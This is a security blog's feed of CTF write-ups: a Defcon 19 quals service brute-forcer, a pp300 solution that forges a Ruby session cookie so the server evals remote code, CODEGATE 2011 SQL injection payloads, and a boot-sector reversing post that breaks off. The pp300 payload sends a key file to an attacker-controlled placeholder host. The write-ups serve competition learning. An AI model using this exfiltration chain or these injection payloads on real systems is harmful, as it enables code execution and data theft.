<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7572620954422469442</id><updated>2012-02-16T03:49:11.205-08:00</updated><category term='challenge'/><category term='csaw'/><category term='Microsoft'/><category term='defcon quals ctf writeup'/><category term='writeup'/><category term='security'/><category term='nmap'/><category term='CTF'/><category term='libc'/><category term='ctf18'/><category term='smpctf'/><category term='stuxnet'/><category term='android'/><category term='flash crash'/><category term='quals'/><category term='ctf codegate 2011 writeup challenge'/><category term='ACN'/><category term='market'/><category term='owasp'/><category term='targeted attacks'/><category term='Defense In Depth'/><category term='webapp'/><category term='defcon'/><category term='Padding Oracle'/><category term='crypto'/><category term='.NET'/><title type='text'>Security Black Swan</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>13</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-3314230270719523121</id><published>2011-06-06T15:27:00.000-07:00</published><updated>2011-06-06T15:28:22.235-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='defcon quals ctf writeup'/><title type='text'>Defcon 19 CTF qualifiers: gb200</title><content type='html'>Another challenge, concretely gb200. After connecting to the server we observed it was sending back some ordered numbered (000111222333444555 x 3) asking for a password, and then for some numbers.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;$ ncat pwn522.ddtek.biz 6000&lt;br /&gt;Never$olv3d!&lt;br /&gt;000111222333444555000111222333444555000111222333444555&lt;br /&gt;1&lt;br /&gt;3&lt;br /&gt;145350200111313244203511223232143550241432444500553500&lt;br /&gt;1&lt;br /&gt;2&lt;br /&gt;invalid msg3&lt;br /&gt;2&lt;br /&gt;invalid msga&lt;br /&gt;^C&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;After playing a bit, it can be observed that the output of the server is always the same characters but unordered, and that the service accepts a maximum of 4 digits. So maybe we need to find a key that is able to "reorder" again the string.&lt;br /&gt;&lt;br /&gt;So, we need some scripting...&lt;br /&gt;&lt;pre class="brush: python"&gt;# db200_sol.py&lt;br /&gt;import socket&lt;br /&gt;&lt;br /&gt;def connect():&lt;br /&gt;    HOST = 'pwn522.ddtek.biz'    &lt;br /&gt;    PORT = 6000             &lt;br /&gt;    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;    s.settimeout(3)&lt;br /&gt;    try:&lt;br /&gt;        s.connect((HOST, PORT))&lt;br /&gt;        s.send('Never$olv3d!\n')&lt;br /&gt;    except Exception as e:&lt;br /&gt;        return None&lt;br /&gt;    return s&lt;br /&gt;&lt;br /&gt;i=100&lt;br /&gt;s=connect()&lt;br /&gt;&lt;br /&gt;while 1:&lt;br /&gt;    data1=None&lt;br /&gt;    data2=None&lt;br /&gt;    try:&lt;br /&gt;        data1 = s.recv(1024)&lt;br /&gt;        data2 = s.recv(1024)&lt;br /&gt;        print '[RECV]: ', repr(data1)+repr(data2)&lt;br /&gt;        data1='0'&lt;br /&gt;        data2=str(i)&lt;br /&gt;        i = i+1&lt;br /&gt;        print '[SENT]: ', repr(data1)+repr(data2)&lt;br /&gt;        s.send(data1)&lt;br /&gt;        s.send(data2)&lt;br /&gt;    except Exception as e:&lt;br /&gt;        print '[ERROR]: ' + str(e)&lt;br /&gt;        if (s &amp;amp;lt;&amp;gt; None):&lt;br /&gt;            s.close()&lt;br /&gt;        s=connect()&lt;br /&gt;        continue&lt;br /&gt;    &lt;br /&gt;s.close()&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;If we run the previous script on the background and wait some minutes, we'll be able to obtain the following response from the service.&lt;br /&gt;&lt;pre class="brush: bash"&gt;$ python db200_sol.py &amp;gt; db.txt&amp;amp;&lt;br /&gt;$ cat db.txt | sort | uniq -c | sort | more&lt;br /&gt;      1 [ERROR]: [Errno 32] Broken pipe&lt;br /&gt;      1 [RECV]:  '0'"00111222333444555000111222333444555000111222333444555\nLet's not be too rough on our own ignorance; it's what makes America great!\n\n"&lt;br /&gt;      1 [RECV]:  '0''00211022443145544200011122333145553122104443552553330\n'&lt;br /&gt;      1 [RECV]:  '0''02454034521103233304013422435241154254253515523111000\n'&lt;br /&gt;      1 [RECV]:  '0''03213030403235555504410122532443152411544102134152023\n'&lt;br /&gt;      ^C&lt;br /&gt;&lt;/pre&gt;Solution: &lt;b&gt;&lt;span class="Apple-style-span" style="color: #6fa8dc;"&gt;Let's not be too rough on our own ignorance; it's what makes America great!&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Game over :).&lt;br /&gt;&lt;br /&gt;Note: I've added the script &lt;a href="https://code.google.com/p/sbs-code/source/browse/trunk/ctf/Defcon_19_Quals/gb200/gb200_sol.py"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-3314230270719523121?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/3314230270719523121/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2011/06/defcon-19-ctf-qualifiers-gb200.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/3314230270719523121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/3314230270719523121'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2011/06/defcon-19-ctf-qualifiers-gb200.html' title='Defcon 19 CTF qualifiers: gb200'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-118169435654652058</id><published>2011-06-06T14:29:00.000-07:00</published><updated>2011-06-14T11:49:35.093-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='quals'/><category scheme='http://www.blogger.com/atom/ns#' term='CTF'/><category scheme='http://www.blogger.com/atom/ns#' term='writeup'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><title type='text'>Defcon 19 CTF qualifiers: pp300</title><content type='html'>&lt;div&gt;This is the solution for pp300 (http://pwn508.ddtek.biz:52719/).&lt;br /&gt;&lt;br /&gt;The first try is looking against the Javascript counter. Nothing interesting, apart that if the current time meets the wanted date, the following message is printed.&lt;br /&gt;&lt;pre&gt;Fiannly!&lt;/pre&gt;This is a dead end, but the wrong spelling of the word (Fiannly instead of Finnaly) can make people waste time in the wrong direction.&lt;br /&gt;&lt;br /&gt;However, it can be observed that the cookie sent by the server (&lt;i&gt;rack.session&lt;/i&gt;) is a heavy one, and at first glance seems that it's base64 encoded. However, decoding that value is translated to non-cleartext data, so no luck.&lt;br /&gt;&lt;br /&gt;Now, instead of looking on internet more information about ('rack.session') or about the "sinatra" server, we do the same than in video-games: shoot first, ask questions later :). So, launch Burp, send to Intruder the request and do a "bit flipper" attack against the cookie. We cross the fingers and hope to be lucky like the last &lt;a href="http://securityblackswan.blogspot.com/2010/10/csaw-ctf-crypto-writeup-crypto1-crypto3.html"&gt;time&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;After waiting some time, we obtained 5 invalid requests with a considerable size. That responses contains a stack trace of the application that discloses some source code. If we put all the lines together we'll obtain the following file.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: ruby"&gt;set :bind, "127.0.0.1"&lt;br /&gt;set :static, "true"&lt;br /&gt;set :public, $wdir&lt;br /&gt;puts "i am assrck"&lt;br /&gt;url = "http://127.0.0.1:#{$options[:oport]}/"&lt;br /&gt;get '/' do&lt;br /&gt;  if session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']&lt;br /&gt;    puts "found session"&lt;br /&gt;    #response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp&lt;br /&gt;    nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))&lt;br /&gt;    puts "attempting fetch from #{nurl}"&lt;br /&gt;    $stdout.flush&lt;br /&gt;    response = HTTPClient::get_content(nurl).chomp&lt;br /&gt;&lt;br /&gt;    mcode = Zlib::Inflate.inflate(Base64.decode64(response))&lt;br /&gt;    puts "got mcode: #{mcode}"&lt;br /&gt;    $stdout.flush&lt;br /&gt;    &lt;br /&gt;    #bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))&lt;br /&gt;    bp = eval(mcode)&lt;br /&gt;    else&lt;br /&gt;      puts "did not find session"&lt;br /&gt;      session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"&lt;br /&gt;      session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="&lt;br /&gt;      session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))&lt;br /&gt;      session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="&lt;br /&gt;      b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))&lt;br /&gt;      b.call&lt;br /&gt;      end&lt;br /&gt;  end&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Basically we are interested on the eval function that execute code from one URL that we can control, as this information is taken from the cookie.&lt;br /&gt;&lt;pre class="brush: ruby"&gt;nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))&lt;br /&gt;response = HTTPClient::get_content(nurl).chomp &lt;br /&gt;mcode = Zlib::Inflate.inflate(Base64.decode64(response)) bp = eval(mcode)&lt;br /&gt;&lt;/pre&gt;So, we need to modify the cookie that is sent to the browser, in order to execute the code that we wanted :). In the end, the most easy way was downloading &lt;a href="http://www.sinatrarb.com/"&gt;sinatra&lt;/a&gt;, to avoid playing with &amp;nbsp;the weird Base64 implementation of Ruby (&lt;a href="http://ruby-doc.org/stdlib/libdoc/base64/rdoc/classes/Base64.html#M000003"&gt;RFC 2045&lt;/a&gt;&amp;nbsp;by default, instead of the most common &lt;a href="http://ruby-doc.org/stdlib/libdoc/base64/rdoc/classes/Base64.html#M000005"&gt;RFC 4648&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;The following code will generate a cookie that will make the application to connect to our server.&lt;br /&gt;&lt;pre class="brush: ruby"&gt;#web_v0_3.rb&lt;br /&gt;require 'sinatra'&lt;br /&gt;require 'Zlib'&lt;br /&gt;require 'Base64'&lt;br /&gt;enable :sessions&lt;br /&gt;set :port, 31337&lt;br /&gt;&lt;br /&gt;  get '/' do&lt;br /&gt;    session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"&lt;br /&gt;    session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="&lt;br /&gt;    session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump("http://w.x.y.z:31337/"),9))&lt;br /&gt;    session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="&lt;br /&gt;    print "\nCookie: #{session}\n"    &lt;br /&gt;  end&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So, we just need to repeat any valid Http request using the cookie previously generated, and the application will connect to a listener that we put on our server. We just need to send an adequate payload...&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: ruby"&gt;#reverseShell.txt&lt;br /&gt;command = `cat key`&lt;br /&gt;data = Base64.encode64(command)&lt;br /&gt;data = data.gsub!(/[\n]+/, "");&lt;br /&gt;nurl = "http://w.x.y.z:31338/?" + data  &lt;br /&gt;HTTPClient::get_content(nurl).chomp&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;However, on the line 10 of the server, we can observe that the server is expecting a payload compressed with Zlib and then converted to Base64&lt;br /&gt;&lt;pre class="brush: ruby"&gt;nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So we'll create our payload with the following code.&lt;br /&gt;&lt;pre class="brush: ruby"&gt;#genPayload.txt&lt;br /&gt;#genPayload.rb&lt;br /&gt;require 'Base64'&lt;br /&gt;require 'Zlib'&lt;br /&gt;file = File.new("reverseShell.txt", "r")&lt;br /&gt;contents = ""&lt;br /&gt;file.each {|line|&lt;br /&gt;  contents &lt;&lt; line&lt;br /&gt;}&lt;br /&gt;puts Base64.encode64(Zlib::Deflate.deflate(contents))&lt;br /&gt;&lt;/pre&gt;And then we'll solve our challenge: :)&lt;pre class="brush: bash"&gt;$ ruby genPayload.rb &gt; r5.txt&lt;br /&gt;$ ncat -kl w.x.y.z 31337 -c "cat r5.txt"&amp;&lt;br /&gt;$ ncat -klv w.x.y.z 31338&lt;br /&gt;Ncat: Version 5.35DC18 ( http://nmap.org/ncat )&lt;br /&gt;Ncat: Listening on w.x.y.z:31338&lt;br /&gt;Ncat: Connection from 94.194.214.47:26254.&lt;br /&gt;GET /?SVNCTi0xMzogOTc4LTE5MzE5OTM0OTQK HTTP/1.1&lt;br /&gt;Host: w.x.y.z:31338&lt;br /&gt;&lt;/pre&gt;&lt;pre class="brush: bash"&gt;echo -n "SVNCTi0xMzogOTc4LTE5MzE5OTM0OTQK" | base64 -d&lt;br /&gt;ISBN-13: 978-1931993494&lt;br /&gt;&lt;/pre&gt;Note: I've added all the code &lt;a href="https://code.google.com/p/sbs-code/source/browse/trunk/ctf/Defcon_19_Quals/pp300/"&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-118169435654652058?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/118169435654652058/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2011/06/defcon-19-ctf-qualifiers-pp300.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/118169435654652058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/118169435654652058'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2011/06/defcon-19-ctf-qualifiers-pp300.html' title='Defcon 19 CTF qualifiers: pp300'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-3768092249252101044</id><published>2011-03-08T16:06:00.001-08:00</published><updated>2011-03-13T04:04:53.579-07:00</updated><title type='text'>CODEGATE YUT 2011: vuln200 writeup (unauthenticated solution)</title><content type='html'>I've read some solutions to &lt;a href="http://yut.codegate.org/"&gt;CODEGATE CTF 2011&lt;/a&gt; Vuln200 and I think I can add two things: another way to access to the "admin" section and another interesting (but really slow) way to solve this challenge.&lt;br /&gt;&lt;br /&gt;Basically, this challenge was a SQL Injection but the flag were only shown if you were logged as the user "Administrator". What we're going to show is how to solve this challenge... &lt;u&gt;unauthenticated&lt;/u&gt; :).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;Standard Solution (Recommended):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Create an account, login as that user, spot an easy SQLi but... no tables or data with our flag :(.&lt;br /&gt;&lt;br /&gt;One tip suggested to "login as Administrator" so let's do it. On the write-ups that I have seen, the Teams were reusing "Administrator" added by other teams or creating the account using the cool trick of adding spaces to the end of the login_name.&lt;br /&gt;&lt;br /&gt;Another way to create an "Administrator" account was using a SQLi that was present on the register.php page. First, the page check that the user is not registered and, if this condition is met, then the user was created.&lt;br /&gt;&lt;br /&gt;So, we have an INSERT statement, how we can use that? If you test the parameter, you'll find that the parameter 'email' is vulnerable. So, let's add a new Administrator account using the following request (observe how I use the MD5() function, as the database was storing the passwords in this format)&lt;br /&gt;&lt;br /&gt;&lt;i style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;POST /register.php?q=944a5ae3483ed5c1e10bbccb7942a279 HTTP/1.1&lt;br /&gt;Host: 221.141.3.112&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;fname=test_name&amp;amp;lname=last_name&amp;amp;username=login_name27393&amp;amp;password=password&amp;amp;email=&lt;span style="color: orange;"&gt;asdf@example.com'),('name','surname','Administrator',MD5('mypassword'),'asdf@example.com')%23&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Now we can login into the application and get the flag using a UNION query, as it's already explained on another writeups.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;Unauthenticated Solution (or converting vuln200 into vuln400+):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So, we have a SQL injection in the register page... how can we use it? It's interesting because this can be seen in real life.&lt;br /&gt;&lt;br /&gt;The first thought can be to use SLEEP() and you can get Binary Search with that, but I chose to use a different approach, just for fun.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Step 1) Assume that we want to read the value of USER() on the database. How we can do it? Easy, read on byte of the response... convert to INT and then store that information in the parameter "password" using SQLi. With that, we'll have created a new user with a password that it's the first byte of the text that we want to extract.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;email=asdf@example.com') ('name','surname','random_user_byte1',&lt;span style="color: orange;"&gt;(SELECT MD5(SUBSTRING(USER(),0,1)) FROM dual),'mypassword')&lt;/span&gt;,'asdf@example.com'%23&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Step 2) Then, to obtain that byte back, we just need to bruteforce the login page with the 'random_user_byte1' account. With this account, the valid password will be the first byte of the data that we want to retrieve.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Step 3) Repeat, wait++ and enjoy (taking care that a new we need to register a unique username on each request).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;This approach is *really* slow, but it can be parallelize easily and also you can convert it to a Binary Search Algorithm (you'll make 2 request, but you won't need to wait until the SLEEP() function has returned). Seems that the CODEGATE Team knew that and (I'm guessing) that's why they added a lot of random rows on the table that was storing the flag.&lt;br /&gt;&lt;br /&gt;So, if we want to cut off the hours required to find the flag we need to find another way... Once you have starting to download the data on the table raw_data you can see that it's a base64 string with plenty of invalid hashes. So, why we are not using the power of the SQL language to &lt;b&gt;Q&lt;/b&gt;uery the database?&lt;br /&gt;&lt;br /&gt;Something like that will be awesome:&lt;br /&gt;SELECT raw_id from table where BASE64_DECODE(raw_data) like '%flag%&lt;br /&gt;&lt;br /&gt;Sadly, as far as I know, there is no a function on MySQL like BASE64_DECODE, so no cigar this time as we cannot search on the table for bas64 strings that contains the text "flag" :(. However, if you think a bit about that, you'll find a solution for our data-mining. But I'll explain later in another post. See u!&lt;br /&gt;&lt;br /&gt;Get the PoC code &lt;a href="https://code.google.com/p/sbs-code/source/browse/trunk/ctf/CODEGATE_2011/vuln200/solVuln200.py"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7572620954422469442-3768092249252101044?l=securityblackswan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityblackswan.blogspot.com/feeds/3768092249252101044/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityblackswan.blogspot.com/2011/03/codegate-yut-2011-vuln200-writeup.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/3768092249252101044'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7572620954422469442/posts/default/3768092249252101044'/><link rel='alternate' type='text/html' href='http://securityblackswan.blogspot.com/2011/03/codegate-yut-2011-vuln200-writeup.html' title='CODEGATE YUT 2011: vuln200 writeup (unauthenticated solution)'/><author><name>alex</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7572620954422469442.post-1291745126768066911</id><published>2011-03-07T16:03:00.000-08:00</published><updated>2011-03-12T16:29:32.825-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ctf codegate 2011 writeup challenge'/><title type='text'>CODEGATE YUT 2011: Issue 500 writeup</title><content type='html'>&lt;b&gt;&lt;span style="color: orange;"&gt;[DISCLAIMER]&lt;/span&gt;&lt;/b&gt;: &lt;strike&gt;I didn't check if the flag is valid (the server doesn't accept anymore sending new flags), so maybe more work is required. However, seems that the flag might be valid. If not, let me know.&lt;/strike&gt; &lt;b&gt;Seems that the solution was correct, check another writeup made by Leet more &lt;/b&gt;&lt;a href="http://leetmore.ctf.su/wp/codegate-ctf-2011-issue-500-bootsector/"&gt;&lt;b&gt;here&lt;/b&gt;&lt;/a&gt;&lt;b&gt;.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The past weekend was the &lt;a href="http://yut.codegate.org/"&gt;CODEGATE Quals&lt;/a&gt;, but you still can play.&amp;nbsp; I've arrived a bit late :'(, but here it goes the (complete?) writeup for Issue 500.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Objective:&lt;/b&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Find a key.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; you can get the key on URL : &lt;/i&gt;&lt;a href="http://221.141.3.109/iss_5/submit.html"&gt;&lt;i&gt;Link&lt;/i&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Solution:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;So... we need to find a valid key. If we enter random data, the server issues an error. &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh5.googleusercontent.com/-B8izN5Ii5j8/TXV0kiqBApI/AAAAAAAAADM/W7c6k_Qht1Y/s1600/answer1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="182" q6="true" src="https://lh5.googleusercontent.com/-B8izN5Ii5j8/TXV0kiqBApI/AAAAAAAAADM/W7c6k_Qht1Y/s400/answer1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;So, first step, take a look on the folder... and we'll find a file that we can download :). &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh6.googleusercontent.com/-ZrSy1yTe0h4/TXV060ZtZ3I/AAAAAAAAADQ/EFKg81oHUMo/s1600/pages_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="238" q6="true" src="https://lh6.googleusercontent.com/-ZrSy1yTe0h4/TXV060ZtZ3I/AAAAAAAAADQ/EFKg81oHUMo/s400/pages_2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;After downloading the &lt;a href="http://221.141.3.109/iss_5/5645E2F51AC5BC420272E0A342164314"&gt;file&lt;/a&gt;, let's see if we can guess the filetype:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;$ file 5645E2F51AC5BC420272E0A342164314&lt;/i&gt;&lt;br /&gt;&lt;i&gt;5645E2F51AC5BC420272E0A342164314: x86 boot sector, code offset 0xc0&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Cool, we have a boot sector and we need to find a key. Opening with IDA (remember, 16 bits) we can see some strings like:&lt;br /&gt;&lt;i&gt;seg000:05DA "Wrong password:"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;seg000:05FA "Enter password:"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;seg000:05FA "\x02 gate"&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Si it seems that we need to find a password. Reading at the code, we spot two interesting parts:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A loop that reads the keyboard input on seg000:021B (hint: the code is using INT 16H GET ENHANCED KEYSTROKE)&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:021B getChar(): &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:021B &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;seg000:021B&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ah, 10h&lt;/span&gt;&lt;br 